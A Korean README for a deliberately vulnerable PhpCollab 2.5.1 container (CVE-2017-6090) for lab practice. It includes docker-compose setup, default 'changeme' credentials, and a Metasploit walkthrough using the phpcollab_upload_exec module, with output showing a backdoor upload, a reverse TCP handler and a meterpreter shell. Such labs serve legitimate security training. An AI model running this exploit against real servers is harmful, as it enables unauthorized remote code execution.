
컨테이너화된 익스플로잇 가능한 PhpCollab
이 프로젝트는 CVE-2017-6090에 명시된 원격 코드 실행 취약점을 포함하는 PhpCollab 2.5.1을 실행하는 컨테이너를 빌드합니다. 추가로, 데모를 위해 해당 컨테이너와 mysql을 시작하는 docker-compse 파일이 있으며, 악용 방법은 아래에 있습니다.
docker build -t 컨테이너이름 . 또는 jlkinsel/exploit-cve-2017-6090 이미지를 사용하세요.
이것을 실행하는 가장 쉬운 방법은 포함된 docker-compose.yml 파일을 사용하는 것입니다. 나중에 시간이 나거나 관심을 보이는 사람이 있으면 kubernetes 배포 또는 helm 차트를 만들겠습니다.
따라서, 시작하려면:
docker-compose up
지금까지는 잘 되었습니다! 이제 phpcollab이 데이터베이스를 사용하도록 구성되고 기본 관리자 비밀번호가 설정되어야 합니다. 잠시 자동화를 시도해봤지만...음...브라우저 사용법은 아시는 것 같군요...
마지막으로, 로그인하여 둘러볼 수 있지만 악용에는 필요하지 않습니다.
이 docker 구성은 스토리지에 대해 특별한 처리를 하지 않습니다. mysql 데이터베이스를 영구 저장하려면 docker-compose.yml의 mysql 서비스 정의에 볼륨 정의를 추가해야 합니다. 예제는 mariadb docker hub 페이지 를 참조하세요.
먼저 - 위의 실행 및 구성을 따라 애플리케이션을 시작하고 실행하세요.
이 프로젝트에 악용 코드를 추가하지 않았습니다. 왜냐하면, 음, Metasploit이 있기 때문입니다.
MSF가 처음이신가요? 방금 시작한 컨테이너를 악용하는 빠른 개요입니다:
docker run -ti --network exploitcve20176090_default remnux/metasploit
시작하는 데 몇 분 정도 걸립니다. remnux/metasploit docker hub 페이지에서 볼륨 사용에 대해 다루므로 앞으로는 시간이 덜 걸릴 것입니다. 하지만 지금은 바로 시작합니다!
셸 프롬프트가 나타나면 계속 진행하겠습니다:
# msfconsole
msf5 > use exploit/unix/webapp/phpcollab_upload_exec
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set TARGET 0
TARGET => 0
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set RHOST phpcollab
RHOST => phpcollab
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set RPORT 80
RPORT => 80
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set TARGETURI /
TARGETURI => /
msf5 exploit(unix/webapp/phpcollab_upload_exec) > exploit
[*] Started reverse TCP handler on 172.31.0.4:4444
[*] Uploading backdoor file: 1.wGvfKLDyWHL.php
[+] Backdoor successfully created.
[*] Triggering the exploit...
[*] Sending stage (37543 bytes) to 172.31.0.2
[+] Deleted 1.wGvfKLDyWHL.php
meterpreter >
이 시점에서 침입에 성공했으며, 게임을 시작할 수 있습니다.
이 디렉토리의 이름이 'exploit-CVE-2017-6090'이 아닌 경우 위의 --network 명령을 변경해야 합니다.
또한 - 네, msfconsole에서 원격 포트를 80으로 설정했지만, 비록 외부에서는 8088입니다. metasploit 컨테이너는 phpcollab 컨테이너와 동일한 네트워크에 있습니다.
| 필드 | 값 |
|---|
| Database server | mysql |
| Database login | phpcollab |
| Database password | changeme |
| Database name | phpcollab |
| Notifications | False |
| Admin password | changeme (원하는 대로 설정) |